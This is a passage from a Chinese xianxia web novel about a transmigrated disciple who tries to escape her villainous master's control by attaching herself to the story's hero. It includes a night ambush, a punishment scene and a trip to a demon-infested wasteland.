手指刚刚挨到玻璃日的边缘,那透明的金珠却像有灵性一般,骨碌碌又滚开了。
“蠢东西,给我滚回来。”秦无昼面无表情,“我只数到三。”
“三、二——”
玻璃日在原地转了两圈,最后不情不愿地滚进他的掌心。
秦无昼重新坐直,没什么感情地笑了一声,将眼珠重新塞回眼眶。
10. 拜拜喽您
意寒星最后在墙根的青花瓷瓶里找到了奶牛猫秦无昼,天晓得那么狭窄的瓶口,它到底是怎么钻进去的,估计猫真的是流体吧。
“你的猫看起来没什么精神。”吴英子看起来是个忠实的铲屎官预备役,眼巴巴地跟在意寒星身边,时刻准备找机会撸上一把。
意寒星仔细瞧了瞧,还真是,它不知道怎么回事,短短一会没见,整只猫都蔫巴巴的,即使被她翻来覆去地检查,也只是没精打采地“喵”了一声。
她一下子想到苏媚娘和自己说的话,修士分身与本体息息相关,若是本体状况不好,也会影响到分身,那么反过来……
吴英子凑过来道:“方才林师伯嘱咐我,你在万宝大会上没有戴面具,可能已经被那些歹徒盯上了,为了安全起见,接下来你最好和我们一道行动,我们都是修士,遇到危险也能相互有个照应。”
玉虚山门规:不得背叛同门,不得行不义之事,不可染邪魔之气,破戒者斩剑断脉,他们当然不能对意寒星视而不见。
“不过,这猫……”吴英子十分不舍,“林师伯对猫毛过敏。”
意寒星心中一动:“那我把它丢了?”
吴英子:“啊?这么迅速就决定了吗?”
意寒星早就想找机会在老虎屁股上摸一把,便笑笑不说话,带着奶牛猫往外走,猫尾巴甩了甩,没什么表情地看了她一眼。
真是对不住了,师、尊,意寒星在心中幸灾乐祸,真不是我不想把你放在身边,实在是情势所迫——你让我做任务的,那么为了任务需要,就请你圆润地离开吧。
她走到门边,将奶牛猫从肩头拎下来,像泼水一样往外一倒。
没倒出去,那猫跟泥巴一样黏不脱手,抱着她的胳膊,冲她嘶嘶哈气。
意寒星一脸无辜:“很生气吧,师尊,但这也没办法啊,一切都是为了任务,你也不要耍小脾气了,顾全大局吧。”
她对林无咎有些话,不能当着这个大反派的面说。原书男主正直仁慈,不会对她见死不救,而且原书虽然是本限制文,但风格意外纯爱,男主只会和原书女主有牵扯,换言之,就是决不会对她这个炉鼎下手。
待在气运加身的男主身边,怎么想都比不干人事的大反派来得靠谱
——所以,拜拜喽您嘞!
意寒星一使劲,奶牛猫被她甩了出去,以国家级跳水运动员一般的矫捷,在半空中利落转身两周半,最后稳稳四脚落地,和走廊另一头、正踏上最后一级台阶的白衣青年面面相觑。
林无咎愣了一下,微笑起来,弯腰伸手要去摸奶牛猫。
后者一个炸毛,想也不想,爪子就在他手背上留下了血痕。
林无咎收了笑,微微皱眉,看着自己流血的手。
“对不住,对不住!”意寒星奔过来,见势不妙就开始疯狂道歉,“这猫不听话,我已经打算找个好人家寄养了。”
她一见林无咎手背上的口子,就有点心虚,那血都已经染红他腕上佛珠了。
林无咎“唔”一声:“皮外伤而已,不用介意。”
“意姑娘方才说要送猫离开?此地鱼龙混杂,恐怕难寻好人家。”
意寒星心道这可不是普通的猫,你要把它留下来,指不定半夜它就去取你的脑袋,面上却道:“但我听吴仙长说你对猫毛过敏……”
果然,不过须臾,林无咎手上就已经起了密密麻麻的红疹子。
他想了想,折中建议:“我记得客栈的老板娘家里也养了猫,不如这几日,先将小猫寄存在她那里,等我们准备离开鬼市,再将它带走。”
一听要和意寒星分开,奶牛猫就愤怒地“喵”了一声,又要扑上去咬他。
但立刻就被她牢牢摁住了,意寒星一手拎着奶牛猫命运的后颈皮,冲着林无咎感激道:“多谢仙长,我这就去送猫。”
说完,她就带着奶牛猫往楼下走。
“意姑娘,等等!”身后追上来了吴英子,她眼巴巴地瞧着那只奶牛猫,一脸不舍。
意寒星当然不会给她机会留下秦无昼,赶紧抢先开口岔开话题,道是自家的灵宠害得林无咎过敏了,自己过意不去,想给林仙长送点药。
吴英子不以为然:“都是修士,那点鸡毛蒜皮的小伤,现下估计早都好了。”
意寒星还是坚持:“麻烦您将林仙长的房间号告诉我吧,就算送点汤汤水水,也是我的一份心意。”
吴英子似乎想到什么,忽然一脸难以直视,看了她半天,才小声道:“那个,你该不会是也看上我师伯了吧?”
也?不愧是原书男主,桃花还挺旺。
不过意寒星知道,原书里从头到尾林无咎都对女主卫如意一心一意,当初看书的时候她还是他俩的西皮粉呢,现在当然不可能横插一脚。
意寒星连忙摆手:“仙长那般人物,我怎么敢肖想。”
谁知吴英子似乎认定她就是对林无咎有想法了:“从前也有不少女修是这么说的,结果闹的……唉,不提也罢。反正最后你看我师兄都几百岁了,还找不到合心意的道侣。不行不行,我不能告诉你我师兄住那里。”
说完,她逃也似的退回房内,“啪”地关上了门。
出师不利的意寒星:……
其实她是想找机会和男主搞好关系,行走江湖,多个朋友多条路嘛,最好能在合适时机下,把她合欢宗的马甲一脱,再顺理成章地请求改拜剑宗门下,省得现在待在反派阵营,日日夜夜提心吊胆。
吴英子不肯帮忙,意寒星只好自己想办法,悦来客栈的老板肯定知道林无咎住哪里。
回房路上,一名高个修士同她擦肩而过,经过意寒星身侧时,忽然皱了下眉。
修士脸上有一道横穿鼻梁、直跨左右脸颊的醒目疤痕,将原本白净斯文的脸孔扯成了狰狞的上下两部分。
疤脸修士停住脚步,回头看了一眼抱猫少女的背影,眸中惊疑不定,像是想要追上去,片刻,才重新回身。
他一脸凝重,走到一间房门,轻轻敲了敲:“林师兄。”
林无咎的声音传来:“是江应悔师弟吗?请进来吧。”
江应悔一进门,就将门板反锁,神色紧张:“师兄,听说昨晚我们客栈遭贼了?”
林无咎为他沏了一壶茶,示意他先坐下:“嗯。你先别急。”
“怎么能不急!”江应悔一下子提高了声音,惊恐万状,“偏偏是在这个时候,在枯骨墟传来那人特有的灵力波动之后,有黑衣人袭击我们,而且他没有用剑对不对?!是不是他,是不是他没死,他还活着,他来找我们了他——”
林无咎蓦地抬眸看了他一眼。
江应悔立刻像是被冰冻结在了原地。
屋内,一时无声。
红泥火炉上煨着的茶壶烧开了,水波汩汩,从壶嘴中倒出的茶汤潺潺,落在杯中,珠玉溅碎。
“是
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店家私藏的上好碧螺春,江师弟也尝一尝吧。”林无咎这才开口,将一个茶杯退给他。
江应悔回过神来,两手接过滚烫的茶杯,直挺挺地喝了下去,也没尝出个味来,只觉得舌尖被烫得发麻发痛,这痛麻沿着舌根、食道,一路淌进了他的胃里。
“师兄,我们是不是错了?”江应悔低下头,声音哽咽,“其实、其实他……他对我们很好的,可我们却杀了他……自从听说枯骨墟出现他的踪迹之后,我夜夜不得眠,一闭上眼,就是当初他血淋淋的眼睛,就这么一直盯着我,我……”
“再后悔,事情也已经做了。”林无咎轻飘飘道,“当初是我亲眼看着他下葬,又亲手看着他命灯熄灭,魂飞魄散之人,不可能再从九幽之下爬出来找我们寻仇。”
江应悔呆呆道:“万一、万一呢?我真的快被逼疯了,就刚才,我走在走廊上,身边路过一个女修,我都好像在她身上察觉到了那人的灵气……”
江应悔生来有个毛病,鼻子较旁人灵敏得多,旁人需要用特制法宝才能察觉的灵力波动,他一闻就能知晓。可惜那人叛变屠杀玉虚山时,他作为围攻修士之一被对方反击,鼻子遭了罪,现下已经不灵了。
林无咎淡淡一笑:“修士身上的灵气犹如掌心纹路,因人而异,要想沾染上旁人的灵气,除非身体交合。你的意思是,那人从地府里爬出来,第一时间不是找我们算账,而是去见了个女修,还同她春风一度?”
那人眼高于顶的脾性,从前没见过他将谁放在心上,那件事后,想必更不可能。
何况,若仅仅只是擦肩而过,也能被人嗅出身上带着他的气息的话……
那意味着对方身上的气息极为浓郁,简直到了那姑娘的身体上里里外外都沾染上他的灵气的程度。
那得是怎样的翻云覆雨。
*
意寒星带着奶牛猫往楼下走,打算趁早把这烫手山芋送走。
此时秦无昼反而安静下来,待到无人处,他忽然转过头,眸色冰冷:“别以为我不知道你在想什么。”
意寒星无辜:“师尊在说什么呀?”
秦无昼:“少在我面前装老实,你无非是想背叛我,投靠林无咎。”
意寒星摸了摸猫咪的飞机耳,慢条斯理道:“其实我一直想不明白,我们合欢宗与剑宗井水不犯河水,林仙长扶危济困,美名远扬,为何师尊定要对他下手?”
秦无昼平静道:“他挡了我的路。”
意寒星心道这还不等于没说,转而又道:“师尊的猫尸分身,现下恐怕没法使出全力吧。”
秦无昼瞥她一眼,似乎并不意外她看出了这一点。
意寒星继续道:“反正,师尊可以当做我待在林无咎身边,是为了完成你的攻略任务。只是师尊得委屈一二,和厨房里吃剩饭的家猫待在一块咯。”
秦无昼盯着她,没说话。
意寒星迈进后厨,同老板娘打了个招呼,将奶牛猫转交给了她。
外人在场,秦无昼再次安静下来,只是那双金灿灿的猫瞳,像是午夜燃起的鬼火,幽幽得发亮。
与此同时,千里之外的青棠谷金鳞殿,秦无昼坐在黑暗的团座上。
青年的眸光像是一柄锐利的小刀,直视着虚空中的一点,眼前似乎又出现了那少女装出的乖巧笑容。
“意寒星。”他一字一句地念她的名字,忽然笑了。
“你给我等着。”
11. 半夜猫叫
林无咎房内,林无咎低头饮了一口茶,思忖着方才江应悔的话。
那人与其他女子?
此事,绝无可能。
他笑着摇头,又拍了拍江应悔的肩膀:“八成是你的错觉,别太紧张了。”
江应悔定了定神,他素来敬重林师兄,纵使心中再多疑虑,此刻也只能压下不提,讷讷应是。
林无咎笑道:“当初我们既然能杀他第一次,自然能再杀第二次。”
江应悔张开嘴,还想继续说什么,门外有人叩门。
“林仙长,您现下方便吗?”
林无咎看了一眼江应悔,后者心领神会,告了声退,林无咎这才开口:“意姑娘吗?请进吧。”
意寒星进门时,屋里正好有个疤脸修士要出去,对方原本步履匆匆,看见她时猛地刹住了脚步,一副受到很大惊恐的模样。
林无咎站在屋内,替二人做介绍:“这位是长青府的散修意寒星姑娘,这是我师弟江应悔。”
这就是那个后来被秦无昼砍断手脚做成人彘的倒霉蛋一号?意寒星忍不住多看了江应悔一眼,后者神色更是不自在。
他深深看了意寒星几眼,欲言又止,忽然以手掩鼻,一把推开她,飞快地冲出了房门。
意寒星:……
她捏起自己的衣领闻了闻,还挺香的啊,她还用的是先前秦无昼送给自己的熏香,据说很金贵呢,
“抱歉,我师弟早年受了伤,嗅觉失灵,性情也变得有些古怪了。”林无咎冲她歉然一笑。
意寒星松开衣领:“无妨。早就听闻玉虚山剑宗锄奸扶正,那位江仙长肯定也是为了除魔才负伤,我心中敬佩得很。”
林无咎微微一笑,默认了:“意姑娘是找我有事?”
意寒星拿出早就准备好的小菜酒水,放在桌上:“我的灵宠顽劣,伤了林仙长,我心里实在过意不去,这些小菜是我借客栈老板后厨亲自做的,林仙长还请不要嫌弃。”
林无咎很给面子,每种菜都夹了一筷子,吃完,才道:“意姑娘蕙质兰心,我有口福了。”
意寒星见他似乎心情还不错,心中暗喜,自己的抱大腿计划该是成功了一半,便趁热打铁:“不瞒仙长,其实我自幼便有一个梦想,我想拜入玉虚山。”
《霸道仙尊日日强制爱》这本书中,玉虚山剑宗几乎可以算得上修仙界的清北,年年都有无数散修弟子想要拜入玉虚山,意寒星盘算着她提出这样的要求也算不得突兀。
林无咎看来也已经习惯应付像她这样找上门来的拜师修士了:“下个月便是我宗十年一次的弟子选拔大会,届时玉虚山广开门户,意姑娘若是有兴趣,可以前往玉虚山一试。”
“那就好。不过,我还有个小问题。”意寒星斟酌道,“若是我先前曾拜过其他宗门,想再拜入玉虚山,会不会有什么麻烦?”
林无咎皱眉,如实道:“这恐怕有些问题。”
果然,意寒星的心沉了下去。
原书虽然是本哪哪都经不起推敲的地摊读物,但对于仙门之间道义规矩仍有着墨,天地君亲师仍然是整个社会的道德行事准则,未经允许擅自改投师门,放在原书里是要被唾沫星子淹死的。
不是,既然都修道了,还整儒家那套玩意干嘛啊!
意寒星在心中咆哮,但面上还是老是微笑:“哦,好吧,我就是问问。”
门外忽然传来一连串急促的脚步,吴英子焦虑的声音远远就传来:“林师兄,不好了不好了!”
她一冲进门,这才发现意寒星也在,顿时一僵:“意、意姑娘……”
林无咎好脾气地打趣:“遇到什么事了,看把你吓得魂都掉了。”
吴英子不敢看意寒星,一脸心虚模样,吞吞吐吐半晌,才把事情起因经过说了个大概。
原来是她心心念念意寒星的奶牛猫,得知后者被送给客栈老板寄养,就按捺不住想要撸猫的手痒,于是没和主人打招呼,就自己跑去逗猫。
“意姑娘你是不知道,小白可惨了,被关在巴掌大的铁笼子里,那老板只给他喂死老鼠,他都饿瘦一圈了。”
吴英子不愧是顶级猫奴,比她这个名义上的主人还要关心奶牛猫:“我实在不忍心,就偷偷打开了铁笼的门,想抱他出来透透气,谁知他一下子就从我怀里跳出去了!然后就不知道跑哪去了……”
林无咎语气严肃起来:“胡闹,那是意姑娘的灵宠,你不问自取,还将灵宠弄丢了,你可知错?”
吴英子一脸惭愧,冲意寒星讷讷说了句对不起。
意寒星连忙摆手,示意她别担心:“我那猫有灵性,应该只是自己出去逛逛,很快就会回来了。”
吴英子垂头丧气:“我以后再也不敢擅自去碰它了。”
以秦无昼的性子,想要逃出铁笼简简单单,但他非要等到吴英子来,才假借她之手离开,意寒星有理由怀疑他是故意的,闹这一出,既能让吴英子心生不安、从而摆脱了这猫奴的纠缠,又能借吴英子之口转达她。
就差把“老子已经越狱自由了,你这个背叛老子的小人就给我洗干净脖子等死吧”堂而皇之公告天下了。
思及他临走前给自己留下的威胁,意寒星嘴角抽了抽。
那厢,林无咎教训完了吴英子,又对意寒星道:“这段日子我会吩咐其他弟子帮忙留心,若是瞧见了你的灵宠,一定给意姑娘带回来。”
意寒星道了句多谢,不过心里却在犯嘀咕:以秦无昼的身手,躲在暗处,只要他不想,大概是谁都不能抓到他的。
果然一直到次日,奶牛猫都宛如人间蒸发,一丝踪迹全无。
吴英子愈发愧疚,担心猫咪已经在龙窟虎穴的鬼市里被人捉来炖汤吃,眼见着都快落下心病,连带毛的东西都见不得了。
意寒星也同样忧虑,只是她的忧虑同旁人不太一样,她是担心秦无昼这厮说到做到,在暗地里憋着个大的,准备来报复自己。
按照原书走向,他的本体这时候应该还在和玻璃日斗智斗勇,应该无暇分身来找她这只小虾米寻仇。
但穿书的十大定律之一——穿书后剧情一定同原书偏离十万八千里,所以她也不敢打包票秦无昼会不会以真身出现在鬼市。
这日是万宝大会的第二日,林无咎一行人打算继续调查当地人口失踪的案子。
大概因为弄丢了她的灵宠,吴英子对她热情了许多,具体就表现在,她似乎对意寒星更信任了,前往会场的路上,还简要地将他们此行的目的与意寒星说了一遍。
起因是驻扎在无相城的玉虚山弟子忽然联系不上,随后剑宗又派两名弟子前往无相城调查,两名弟子凭着先前弟子留下的灵力波动,一路追到无相鬼市入口,但很快,这两名弟子进入鬼市之后,也如同滴水入海,再无踪迹。
意寒星不解:“无相鬼市存在也有数百年了吧,一直是三不管地带,虽然里头的人个个都是人才,但之前与玉虚山井水不犯河水,为何这段时日突然兴风作浪?”
吴英子摇头:“我们也觉得奇怪。从前林师兄提过要铲除无相鬼市,但被宗内其他长老驳回了,道是鬼市从不伤及玉虚山弟子,师出无名。”
这么一想,那三个失踪的玉虚山弟子,
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倒给了玉虚山一个扫除鬼市的正当理由。
毕竟意寒星还是外人,吴英子没有向她仔细解释他们的计划。
为了自己项上人头的安全,现在她时时刻刻紧跟在原书男主身边,玉虚山的修士都十分正直良善,很好相处,唯一对她神色不虞的,就是先前在林无咎房间见过的那个疤脸修士江应悔。
前往万宝大会的路上,江应悔又在队伍中看见了意寒星,立刻脸色一沉,掉头回去找林无咎。
“师兄,你真要放一个来路不明的人在身边?”江应悔神色惶惶,“上次我说在一个女子身上闻到那人的气息,就是这个意寒星!”
林无咎笑了笑,才道:“你怀疑她是奸细?”
江应悔点头:“就算不是那人派来的,肯定也和无相鬼市脱不了干系,要不然怎么会那么巧,我们刚一入城、夜遭贼人,她就出现了?还死缠烂打非要待在师兄你身边,怎么想都居心不良!”
林无咎道:“一把刀,你是将她时时刻刻放在眼底下安全,还是让她藏在你看不见的地方更安全?”
江应悔恍然大悟:“原来师兄你早已怀疑她了。”
林无咎但笑不语。
还不知道自己成了引蛇出洞诱饵的意寒星,继续老老实实跟在玉虚山剑修身边,又参加了一整日的万宝大会,一日下来,风平浪静,别说秦无昼的影子了,连鬼市上的客人都老实了很多。
今天她带着面具,也没有做什么引人注目的出格行动,炉鼎体质就没再起效,虽然不知道原理是什么,但她身上的炉鼎体质看来并非时时刻刻都会诱人发疯、失去理智的类型。
因为担心秦无昼随时可能从黑暗中袭击她,意寒星找了个借口说是怕黑不敢一个人睡,当晚搬到了吴英子的房内。
吹灭灯,鬼市无月,只有石壁穹顶上方无数夜明珠散发的淡淡蓝光,显得整个屋子都浸在冷水中一般。
意寒星撑到眼皮打架,才勉强睡着,半梦半醒间,忽然听见一声极为凄厉的猫叫。
她一个激灵就从床上跳起来,抄起烛台就冲到床边。
远远望去,淡蓝的夜幕中,层层楼阁黑影如叠山,飞檐上一只黑猫正和她对视,那猫眼瞳如古铜,瞳孔狭窄一线,望了她片刻,忽地消失了。
不祥之兆,意寒星反手丢出几个白天刚学的防御结界术,端着烛台往床边走,准备叫醒吴英子,还没走两步,烛火“啪”地一下熄灭了。
她僵在原地,半晌没敢动。
忽然脖子后面吹起一阵热风,像是有人就站在她背后,正在缓缓呼吸。
意寒星想也不想,将烛台当做利剑,反手就捅了过去,却刺了个空。
她不敢多作停留,凭着记忆冲向床铺所在的位置,吴英子整个人都缩在被窝里,没露出脑袋。
“吴仙长,醒醒!”这人睡得死沉,这么大动静了也一声不吭,意寒星不得已上手推她,刚一触手便发觉不对,被窝里的人体格高大,根本不是吴英子的形状。
还没来得及后撤,突然从被窝里伸出一只青白的手,死死攥住她的手腕,紧接着上下一个颠倒,意寒星被某种如山似的沉重压住了。
她的尖叫也被人用手堵在了嘴里,上方的人果然是秦无昼,那双猫似的金瞳亮得骇人,脸上挂着残忍的笑意:“我早告诉过你了。”
什么东西!
意寒星疯狂挣扎起来,一道灵光闪过,她的手腕立刻被交叠着绑在了床头。
“我早告诉你了。”秦无昼笑容灿烂,觉得屋子里有点热,于是顺手扯开自己的领口,“背叛我的话,是要受罚的哦。”
12. 小惩大诫(1)
此情此景,同意寒星先前做过的梦境一模一样。
意寒星惊恐万状:“师尊,师尊等等等等!”
秦无昼好整以暇:“哦,还记得我是你师尊。”
意寒星定了定神,吞了口唾沫,才道:“我有个问题,师尊。”
秦无昼看起来丝毫不担心她耍诈逃跑,像只捉住了小老鼠准备好好戏耍一番的猫:“说。”
意寒星:“师尊你你到底是要杀我,还是要睡我?”
秦无昼挑眉:“你觉得呢?你最怕哪一种?”
巧克力味的屎和屎味的巧克力她哪个都不想选,“非要说的话,”意寒星战战兢兢,“我最怕你先睡了我,然后再杀我。”
秦无昼以一种和反派毫无关系的清爽明朗笑声哈哈笑了两下,才将手压在她的脖颈:“那我还是直接杀了你吧——”
“等一下!”意寒星宛如一条案板上的活鱼,徒劳无功地挣扎蹦跶两下,“师尊不是让我攻略林无咎吗!”
感到脖颈上的手没有收紧,她喘了一口气,飞快道:“师尊这几日也看在眼里吧,林无咎对我关怀有加,还让我一月后可以去玉虚山寻他。”
秦无昼似笑非笑:“难道不是你打算欺师灭祖,改换门庭?”
意寒星肃然正色:“师尊冤枉我了,我对合欢宗之心,我对师尊之心,天地可鉴、日月可昭呐。”
“是吗?”秦无昼笑眯眯的,“所以,你这段日子跟在林无咎身边,都只是为了完成为师交代给你的任务?”
意寒星大义凛然地点头,却见秦无昼慢条斯理道:“可林无咎却不这么想。他似乎已经开始怀疑你了呢。”
这话说得意寒星一怔,下意识开始反思自己到底哪里漏出了马脚。
秦无昼忽然轻笑一声:“原本也没指望你能真的引诱林无咎。不过是放条灵活的小鱼将水搅浑,方便为师伺机行事而已,如今他已对你起了戒心,你连作为靶子的功能都没有了呢,蠢、徒、弟。”
不好,书里反派一旦开始对角色剖析自己的内心活动,就意味着他要杀人了,毕竟,只有死人才能永远保守秘密。
意寒星一个哆嗦,想要捂住耳朵手却被绑住了,只能紧紧闭上眼睛:“不不不我什么也没听见,师尊的计划我一点也不知道!”
秦无昼笑吟吟地看她掩耳盗铃,落在她脖颈上的手既没有收紧,也没有松开。
意寒星心里七上八下,秦无昼先前不杀她,先是因为合欢宗人多口杂,再是因为他被玻璃日所伤,无暇顾及她这条小鱼,可如今他腾出手来,自己怕是真没有活下去的理由了。
落在自己脖颈上的那双手越来越紧,她的呼吸一寸寸被剥夺,视野也渐渐模糊。
“师尊,我……”
落在脖颈上的手,兀然又松开了,意寒星爆发出一阵剧烈的咳嗽,趴在床沿喘了好一会,才抬起头。
秦无昼正笑吟吟地盯着她:“下次还敢吗?”
侥幸逃脱一劫,意寒星把头甩得拨浪鼓一般,得到了前者一个敷衍的摸头:“这才是乖徒弟。”
这算什么,打一个巴掌给一个甜枣?
秦无昼忽然施法松开了意寒星被绑在床头的手腕:“就这么杀了你,倒是太便宜你了。”
等等,意寒星脑内回马灯一般快速闪过原书片段,都是秦无昼处置他那些死敌的,千般折磨、万般残忍……
“要不你还是直接杀了我吧。”她颤声道。
秦无昼没料到她态度陡然大变,微微挑眉:“何来的求死之心?”
比起落在他手底下活受罪,倒还不如直接嘎了她一了百了,苦中作乐一点想,说不定她在这个世界里没了,就可以回到现实了呢。
见她沉默不答,秦无昼忽然笑了声:“你想死,我偏不让。”
……怎么这么叛逆呢。
意寒星刚刚松了一口气,想要爬起来,对方却忽然摁着她的肩膀将她掉了个个。
她忽然就变成了趴在他膝盖上的姿势,还没反应过来,“啪啪”两声,臀部忽然传来火辣辣的痛感。
几乎是“腾”的一下,她的脸也跟着烧了起来。
她今年二十岁了!自从能独立走路之后就再也没人打过她的屁股!
简直是奇耻大辱!
意寒星整张脸憋得通红,像只旱地里的青蛙一样四肢扑腾起来。
“老实点!”秦无昼冷声呵斥,见她还憋着劲想要挣扎,手上毫不留情,又重重打了一下那两团颤动的软肉。
再看掌下的人,连那点耳垂都红得快要滴血了。
秦无昼眼里滑过一丝淡淡的嘲讽。
都修合欢道了,还在他面前装什么纯情。
当初金鳞殿内,可没见她有半分羞耻之心。
然而他不知晓的是,意寒星正是典型的口嗨网民,面对二次元时重拳出击,在三次元里唯唯诺诺,面对(自以为的)春梦对象和现实里的异性,那完全是两码事。
不轻不重地打了两下,秦无昼出了气,先前被抛弃背叛的不爽也淡了,他将安静如鸡的人从膝盖上拉起来,一看她表情,满脸老实委屈,还真像个受了师长批评的孩子。
“下次还敢不敢了?”他虎着脸问。
意寒星声若蚊讷,听不清说什么,就是摇头。
……算了,秦无昼微微皱眉,自己都多大年纪,何必和这心性不定的毛头小孩计较。
“你跟我来。”他道。
由不得对方反抗,下一刻,两人缩地成寸,周遭换了一副光景。
似乎是在一片白茫茫的沙漠中,天边无月,只有孤星几颗,摇摇欲坠。一望无垠的沙海中,巨大生物的白骨耸立,几棵枯死的灌木被风吹得萧索。
意寒星被他拖来这里时猝不及防,被风灌了一嘴沙,“呸呸呸”吐了好一会才缓过劲来。
脸上的热度被冷风一吹,现在也消散了,她于是有空和身边的秦无昼搭话:“师尊,这是哪里?”
看这百里之内鸟不拉屎,该不会是找了个人迹罕至的地方,打算将她灭口吧?
秦无昼瞥了她一眼,忽然变脸,阴沉沉道:“你不觉得,这是个抛尸的好地方吗?”
意寒星:?!
“哈哈哈哈哈哈哈。”秦无昼变脸比翻书快,下一刻又抱着肚子弯腰大笑起来,“你的表情,太蠢了哈哈哈哈哈……”
意寒星:……
什么混沌乐子人。
秦无昼捧腹大笑了好一会,擦了擦笑出来的眼泪,清了清嗓子,才重新道:“这里是枯骨墟。”
意寒星愣了一下:枯骨墟,这不是原书中秦无昼取得玻璃日的地方吗?
传闻中枯骨墟为魔族群聚之所,仙凡勿近。《霸道仙尊日日强制爱》的世界观里,魔族混
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沌没有理智,只知道吃人,被魔族咬后侥幸没有死亡的人也会受到魔气感染,沦为魔族,大概和丧尸差不多。
魔族不死不灭,被魔气传染速度又极快,尤其随着数量增长,杀伤力也呈指数级上升,像枯骨墟这种魔族老巢,一般修士是绝不敢独自擅闯的。
意寒星顿时觉得脚底下踩的沙子里随时可能爬出几个行尸走肉来:“师尊带我来这里做什么?”
秦无昼道:“教你几招,免得崴个脚还要让人来救,丢脸。”
说完他抬腿便走,意寒星慢半拍跟上,心里嘀咕,难不成这人是在说万宝大会上她受伤引起林无咎的事情?
秦无昼人高腿长,大步流星,意寒星跟在他身后,得拎着裙子快跑才能追上,吭哧吭哧跑了几步,前方的人突然慢下来,她险些撞上他的后背。
秦无昼瞥了她一眼,继续往前走,不过这一回步子慢了许多,意寒星也能同他并肩而行了。
“师尊,我们这是要去哪?”
秦无昼看起来胸有成竹,完全不需要停下来辨认方向,闻言沉声道:“准备找个地,挖坑把你埋了。”
意寒星:==
这回没有吓到她,秦无昼看起来很是遗憾,又瞥了她两眼,叹了口气。
意寒星:有这么失望吗。
不多时,两人爬上一座沙丘,沙丘另一侧,是浓郁盘旋的魔气,有点像是梵高的油画,天空大地全都扭曲成一片,天幕成了紫红色,沙原苍白,枯树巨石漆黑。
不过,好像没有魔族?
秦无昼弯腰捡起一块石子,稳稳地朝着下方丢出,石头落地,毫无动静。
“啧。”秦无昼不耐,“被我打怕了都不敢出来了啊。”
“喂,在吗?”他将手放在嘴边比成个喇叭状,提高音量,“我数三下,给我滚出来,要不然我再杀你们全家一次哦~我现在开始数了——”
还没等那个“三”喊出口,原本风平浪静的沙漠忽然剧烈起伏,像是风暴海洋,转眼间密密麻麻的漆黑生物从白沙底下爬了出来,是魔族。
这些魔族长得奇形怪状,有的犬首人身,有的七手八脚,还有的像是用三四种不知名动植物拼接起来的,有大有小,衣着破烂,此刻匍匐在黑夜的沙丘之下,乍一看过去很是骇人。
只不过,再仔细一瞧,就能看出这帮魔族个个噤若寒蝉,瑟瑟发抖,不像匪徒了,倒像是一群面瘦肌黄的难民。
意寒星看了看瑟缩的魔群,又瞅了一眼旁边满意微笑的秦无昼,怎么,感觉身边的这个家伙比魔还要可怕。
但很快,她就发现自己的同情多余了——这帮魔里居然还有想要反抗的,异军突起,一条碧绿的藤蔓闪电一般朝着意寒星刺来!
榕树魔!
她一个金丹炉鼎,根本躲不开!
几乎只在须臾之间,粗壮的藤蔓就缠上了她的手臂、身躯和小腿,她整个人呈现一个“大”字,被高高吊在半空。
意寒星正要张口呼救,却连嘴也被藤蔓堵住了。
惊恐的视线中,秦无昼居然还还好整以暇,抱着胳膊一动不动,丝毫没有前来救她的样子,甚至还一副发现了新玩具的兴趣表情,勾勾手指,控制着另一条藤蔓,缠住了她的大腿根。
此情此景,某种恐怖的念头油然而生!
啊啊啊啊啊她才不要玩什么触手play啊!
13. 小惩大诫(2)
上方,是漆黑无垠的夜空,下方,是如雪茫茫的沙漠,只有意寒星,被锁在半空,浑身上下使不着力气,只能感觉到那带着诡异湿滑的藤蔓正一点一点地将自己绕紧。
无数粗壮藤蔓用力绕紧少女的大-腿-根-部,藤条之间挤出一圈软肉,又有好奇的藤蔓探过来,在柔软的腿-肉上揉揉-捏捏,仿佛寻到了爱不释手的珍贵玩具。
始作俑者正是秦无昼。榕树妖本想直接将意寒星憋死,但偏偏被横岔一脚,藤条被控制,既杀不了人,只能被当成秦无昼的新工具。
他没有丁点想要出手救人的模样,这孽徒几次三番在太岁头上动土,也该给她点教训。
但不知怎的,少女的眼中渐渐浮上朦胧水雾,桃花上脸,单薄的身子被犹如巨蛇一般的凹凸藤蔓缩紧,挣扎之间连绣鞋都掉了一只,那只盈盈的裸足,在夜色下格外刺目。
秦无昼看着看着,有那么一瞬间,忽然觉得仿佛自己就变成了那些藤蔓,将她牢牢困在怀里,包裹、缠绕、绞紧、锁死……
他猛地一动手指,榕树妖立刻炸成血雾,意寒星自空中落下,跌进一个带着甜香的怀抱。
脸上好像有什么热热的东西,流了下来。
意寒星有点天旋地转,脑浆,该不会还有血吧……
天杀的,她晕血啊。
“啊呀,太粗暴,弄脏你了。”旋转的视野中,依稀有秦无昼笑嘻嘻的脸。
他忽然捧住了她的脸,捏着袖子,仔仔细细擦掉了她脸上的血迹。
“师尊,我的腿有点软。”意寒星用力闭了闭眼,还是感觉一阵阵发晕。
秦无昼将人挂在自己的手臂里,捡起掉在地上的绣鞋,套上脚的时候顺便掂了掂,挺轻的,怪不得区区一个榕树魔、几条藤蔓就能把她吊在半空。
他摩挲着下巴,开始怀疑自己是否不该把人带来枯骨墟:“你真是比我想象得还要弱啊。”
意寒星闭着眼睛恢复,悄悄捏紧拳头。
等熟悉的晕眩过去,她立刻推开秦无昼,重新站好,后者遭了嫌弃,也一副无所谓的模样。
只是那双金色重瞳比刚来枯骨墟时闪亮了许多,他翘起嘴角,宛如一个正在挑选自己最心爱玩具的孩子,目光缓缓扫过沙丘下方的魔族。
他的视线所及之处,魔族全都身型僵硬,在原书中烧杀抢掠挖心吃肠的恶魔,现在却一声也不敢吭。
“就你吧。”秦无昼终于挑中了一只张着三个硕大蛇头的魔族,手指一点,“你上来。”
被选中的那个魔族浑身一僵,片刻后,凄厉地惨叫一声,三只蛇首忽然两两咬住脖颈,竟是硬生生把自己三条脖子全咬断了。
意寒星大惊:竟然害怕秦无昼怕到这种地步,宁可自尽也不肯落到他手里吗!
秦无昼又“啧”了一声,他干脆利落地从沙丘上跳了下去,随手捉住一只没来得及逃跑的魔族,不顾后者的挣扎,单手拎着他的衣领,将魔族拎了回来。
“你和它打一场。”秦无昼将这只鸟头人身的魔族丢在意寒星面前。
意寒星:啊?我?
秦无昼理所当然:“我先看看你的水平,到底有多差。”
意寒星沉默半晌,放弃挣扎了:“可我没有武器。”
秦无昼看了一圈,从旁边枯死的灌木上拔下一根树枝:“用这个当剑吧。”
意寒星忍无可忍:“谁能用木棍剑和魔族打架?!”
秦无昼笑嘻嘻道:“我觉得你可以。”
“我不要你觉得我要我觉得。”意寒星下意识不满道,“而且我都没见过剑招,怎么会用?”
